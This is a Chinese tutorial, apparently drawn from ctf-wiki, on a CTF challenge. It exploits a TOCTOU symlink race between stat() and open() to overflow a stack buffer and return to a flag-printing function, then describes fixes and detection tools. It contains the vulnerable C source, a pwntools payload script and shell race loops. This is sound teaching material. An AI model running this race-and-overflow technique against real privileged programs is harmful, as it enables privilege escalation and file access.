☰
ctf-wiki Linux 用户态 Pwn 实战:TOCTOU 符号链接条件竞争触发栈溢出的完整利用分析
2026/9/29 2:31:16 网站建设 项目流程
  • 文档
  • 网络安全
  • 教程

【免费下载链接】ctf-wiki

Come and join us, we need you!

项目地址:https://gitcode.com/gh_mirrors/ct/ctf-wiki
点击查看免费下载

本篇文章以 ctf-wiki 仓库中 race-condition/problem.md 记载的经典题目为主线,系统讲解 Linux 用户态 Pwn 中TOCTOU(Time-of-Check to Time-of-Use)符号链接替换型条件竞争的成因、利用手法与防护思路。读者将掌握如何通过"检查文件大小后、真正读取文件前"的时间窗口,用符号链接把目标偷换成大文件,从而放大read写入量制造栈溢出,再借助 ret2text 劫持返回地址拿到 flag 的完整攻击链路。

条件竞争与 TOCTOU 漏洞:从理论到题目定位

什么是条件竞争

条件竞争(Race Condition)指一个系统的运行结果依赖于不受控制的事件的先后顺序。当这些事件没有按照开发者预期的顺序发生时,就可能出现 bug。该术语最初来自两个电信号互相竞争以影响输出结果。在计算机领域,条件竞争主要出现在多线程程序和分布式程序中;由于现代系统大量采用并发编程、经常共享资源,这类漏洞相当常见。

要产生条件竞争,至少需要满足三个条件(详见同目录的 introduction.md):

  • 并发:至少存在两个并发执行流,包括线程、进程、任务等不同级别的执行流;
  • 共享对象:多个并发流会访问同一对象。常见的共享对象有共享内存、文件系统、信号,访问共享对象的代码段称为临界区,正常编码时这部分应当加锁;
  • 改变对象:至少有一个控制流会改变竞争对象的状态——如果程序只是对对象做读操作,并不会产生条件竞争。

由于并发执行流的不确定性很大,条件竞争往往难以察觉、难以复现和调试,这也给修复带来困难。其危害轻则程序异常执行,重则程序崩溃;一旦被攻击者利用,很有可能获得系统的特权。

时间窗口:漏洞发生的本质

条件竞争之所以会发生,根源在于"检查"与"使用"之间存在一个极短的时间间隔:

  • 程序先执行 action1(检查),再执行 action2(使用),开发者假设执行 action2 时 action1 产生的条件仍然成立;
  • 但由于并发性,攻击者可以在 action2 执行前的这个短暂时间窗口内破坏 action1 所建立的条件。

即便这个时间间隔非常小,攻击者仍可通过计算密集型操作、DoS 攻击等拖慢受害机器,把窗口"撑大"。

图:Time Interval 示意——action1 与 action2 之间的空白区间正是条件竞争的可利用窗口。

题目对应的漏洞类别:CWE-367 TOCTOU 与 CWE-363 Link Following

本题目属于TOCTOU(Time-of-check Time-of-use)条件竞争,即程序在使用资源(变量、内存、文件)之前会进行检查,但在真正使用该资源前,资源已被修改。与之配套的具体形态是CWE-363:Race Condition Enabling Link Following(符号链接跟随型条件竞争)。

Linux 提供了两种对文件的命名方式,二者解析到对象的方式不同:

  • 文件路径名:通过传入的路径(文件名、硬链接、软链接)间接解析,参数并不是文件的真实地址(inode);
  • 文件描述符:通过访问直接指向文件的指针来解析。

正是路径名的"间接性"产生了可利用的时间窗口。以下代码展示了经典的access()+fopen()竞态模式:程序先检查文件是否存在、是否有写权限,随后才打开文件。若在检查之后、使用之前,攻击者把该路径替换为指向敏感文件的符号链接,程序就会操作错误的文件:

图:race_condition_file 示意——access() 检查与 fopen() 打开之间的红框区域即竞争窗口(Race Window)。

以文件名为参数、存在同类风险的系统调用还有:access()、open()、creat()、mkdir()、unlink()、rmdir()、chown()、symlink()、link()、rename()、chroot()等。

题目源代码与程序流程分析

完整源码

题目核心程序test的源代码如下(选自 problem.md):

#include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/stat.h> #include <unistd.h> void showflag() { system("cat flag"); } void vuln(char *file, char *buf) { int number; int index = 0; int fd = open(file, O_RDONLY); if (fd == -1) { perror("open file failed!!"); return; } while (1) { number = read(fd, buf + index, 128); if (number <= 0) { break; } index += number; } buf[index + 1] = '\x00'; } void check(char *file) { struct stat tmp; if (strcmp(file, "flag") == 0) { puts("file can not be flag!!"); exit(0); } stat(file, &tmp); if (tmp.st_size > 255) { puts("file size is too large!!"); exit(0); } } int main(int argc, char *argv[argc]) { char buf[256]; if (argc == 2) { check(argv[1]); vuln(argv[1], buf); } else { puts("Usage ./prog <filename>"); } return 0; }

程序基本流程

程序的执行逻辑非常清晰:

  1. main接收命令行参数argv[1],若argc == 2则进入处理流程;
  2. check():若参数字符串本身就是"flag",直接退出;随后调用stat()检查该文件,若st_size > 255(即文件大小超过 255 字节)则退出;
  3. vuln():以只读方式open()打开该文件,循环read(fd, buf + index, 128)直到读完,最后执行buf[index + 1] = '\x00'手动补一个字符串结束符。

从表面看,check限制了文件大小(≤255),而main中的buf大小是 256,似乎"刚好够用"。但这里存在一个典型的 TOCTOU 条件竞争窗口:stat()检查与open()打开之间并非原子操作。如果攻击者在程序检查完文件大小之后、真正打开文件之前,将原文件删除并替换为指向更大文件的符号链接,那么vuln实际读入的内容就会远超 255 字节,从而造成栈溢出。

漏洞根因的三个关键细节

  • check中strcmp(file, "flag") == 0只比较参数字符串本身,因此传入fake(而非flag)即可绕过名称检查;
  • stat(file, &tmp)获取的是"此刻"路径所指向对象的大小——竞态中它可能是小文件;
  • open(file, O_RDONLY)会跟随符号链接解析目标,竞态中被替换为指向大文件(big)的软链接时,read读入的是大文件内容,写入buf的数据量随之越界;
  • buf位于main栈帧(256 字节),vuln用栈上地址直接写入,溢出会从buf一路覆盖到保存的ebp与返回地址。

攻击思路与 Payload 构造

目标:ret2text 劫持返回地址

题目二进制中存在一个现成的"后门"函数:

void showflag() { system("cat flag"); }

因此利用思路就是经典的ret2text:通过栈溢出把main的返回地址改写成showflag的地址,使main返回后直接执行system("cat flag")打印 flag。关于 ret2text 的基本原理与偏移计算方法,可对照阅读仓库中 basic-rop.md 一节。

通过反汇编与调试可以拿到showflag的符号地址。由于buf距离main的返回地址之间隔着 256 字节的buf加上 8 字节的保存的rbp(64 位环境下),所以payload 布局为:256 字节填充('a' * 0x100)+ 8 字节伪造的rbp('b' * 8)+showflag地址。

# payload.py from pwn import * test = ELF('./test') payload = 'a' * 0x100 + 'b' * 8 + p64(test.symbols['showflag']) open('big', 'w').write(payload)

这里用 pwntools 的ELF()自动解析showflag的地址并打包为 64 位小端p64,把 272 字节的完整 payload 写入文件big。这个big文件就是后续被符号链接指向的"超限文件"。

竞争脚本:双进程打时间窗口

题目环境中需要准备两个文件角色:

  • small:大小不超过 255 字节、用于通过check检查的文件(可用任意小文件充当);
  • big:包含上述 272 字节 payload 的大文件,用于触发溢出。

攻击利用两个脚本协同竞争,目标是在stat检查完成与open打开之间的窗口内完成符号链接替换:

# exp.sh:竞争替换 fake 为指向 big 的符号链接 #!/bin/sh for i in `seq 500` do cp small fake sleep 0.000008 rm fake ln -s big fake rm fake done
# run.sh:反复执行漏洞程序 #!/bin/sh for i in `seq 1000` do ./test fake done

两个脚本的分工如下:

  • exp.sh负责构造竞态:先把fake复制成small(保证check的stat看到的是小文件),随后在极短的sleep(0.000008 秒 ≈ 8 微秒)后删除fake并建立指向big的符号链接,如此循环 500 次;
  • run.sh负责持续触发:让./test fake连续运行 1000 次,使受害程序反复经过"检查→使用"路径,只要某次open恰好落在ln -s big fake已生效、rm fake尚未执行的窗口内,就成功把大文件内容读入buf。

将两个脚本并行启动(注意exp.sh放入后台子 shell):

(sh exp.sh &) && sh run.sh

实际运行效果

运行结果(节选)如下:

➜ racetest (sh exp.sh &) && sh run.sh [...] file size is too large!! open file failed!!: No such file or directory open file failed!!: No such file or directory open file failed!!: No such file or directory open file failed!!: No such file or directory file size is too large!! open file failed!!: No such file or directory open file failed!!: No such file or directory flag{race_condition_succeed!} [...]

输出中出现的两类"失败"信息恰好印证了竞态的两面性:

  • file size is too large!!:说明某次stat检查时fake已经指向big(文件大小 > 255),check正确拦截;
  • open file failed!!: No such file or directory:说明某次open时fake恰好被rm删除、链接尚未重建,文件不存在。

而穿插其间的flag{race_condition_succeed!}说明某次迭代中stat看到了小文件、open却跟随符号链接打开了big,payload 成功覆盖返回地址并跳转到showflag。

成功的关键在于sleep时间的选择:8 微秒的休眠让fake在"以小文件身份存在"和"以符号链接指向 big"两种状态之间高频切换,同时run.sh的 1000 次执行提供了足够的命中概率。你可以根据本机 CPU 调度情况调整该值——太大会让open频繁撞上"文件不存在"或"文件过大"的检查,太小则窗口过窄难以命中。

防御与修复:消除竞争窗口

依据仓库中 introduction.md 的"防范"章节,消除条件竞争的首要目标是找到并缩小竞争窗口(race windows)——即访问竞争对象的代码段;只要让冲突的竞争窗口相互排斥,就可以消除竞争条件。针对本类文件型 TOCTOU,可以从两个层面入手:

1. 文件身份校验:用 fstat 绑定检查与使用

前面提到路径名是间接解析的,因此正确的做法是先 open 拿到文件描述符,再用fstat()从 fd 读取文件信息,与预期信息比较后再使用。stat结构体中的两个字段可以唯一标识一个文件:

  • st_ino:文件的序列号,即 i-node;
  • st_dev:文件所在设备的设备号。

由于fstat作用于已打开的描述符(直接指向文件对象),攻击者无法在"检查"与"使用"之间调包,也就消除了 TOCTOU 窗口。

2. 同步原语与原子操作

  • 对临界区加锁:使用互斥锁、自旋锁(spinlock)、条件变量(通常与互斥锁配合使用)、信号量、临界区对象(CRITICAL_SECTION)等同步原语,使检查与使用成为不可分割的临界区;
  • 使用不跟随符号链接的原子接口(如openat+O_NOFOLLOW),从系统调用层面拒绝符号链接跟随。

3. 注意死锁风险

同步原语使用不当会引入死锁——两个及以上执行流互相阻塞、循环等待资源。死锁需要同时满足四个必要条件:互斥、持有并等待、不可抢占、循环等待;打破任意一个即可解除死锁。死锁一般会造成拒绝服务攻击。

检测手段

由于条件竞争难以复现,仓库文档还整理了业界常用的检测途径:

  • 静态检测:Flawfinder(针对 C/C++ 源码,建立漏洞数据库后做文本模式匹配,无数据流/控制流分析);ThreadSanitizer(LLVM 实现,面向 C++ 与 Go);
  • 动态检测:Intel Inspector、Valgrind等工具可用于运行时发现数据竞争。

延伸阅读

  • 条件竞争理论、CWE 分类(CWE-367 / CWE-365 / CWE-363 / CWE-364)、同步原语与死锁、检测工具的完整说明,见 race-condition/introduction.md;
  • ret2text 等栈溢出基础利用手法,见 stackoverflow/x86/basic-rop.md;
  • 本地做题环境(Ubuntu/Docker + pwntools + gdb/pwndbg)的搭建方式,见 pwn/linux/user-mode/environment.md。

小结

本题是理解文件型 TOCTOU 条件竞争的最佳入门样例:程序在stat()检查文件大小与open()真正打开文件之间留出了竞态窗口,攻击者用cp/rm/ln -s脚本高频切换路径指向,配合read循环无长度约束的缺陷,把超限 payload 灌入 256 字节的栈缓冲,最终通过 ret2text 覆盖返回地址执行showflag。掌握这一套路后,你还可以进一步思考:如何用fstat+st_ino/st_dev修复它,以及同样的时间窗口思想如何迁移到信号处理、共享内存等其他并发场景。

  • 文档
  • 网络安全
  • 教程

【免费下载链接】ctf-wiki

Come and join us, we need you!

项目地址:https://gitcode.com/gh_mirrors/ct/ctf-wiki
点击查看免费下载

相关推荐

上一篇:GetQzonehistory:把 QQ 空间十年老说说一次搬回家的完整指南
下一篇:Algo Deck vs. LeetCode:哪种方式更适合算法面试准备?终极指南

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询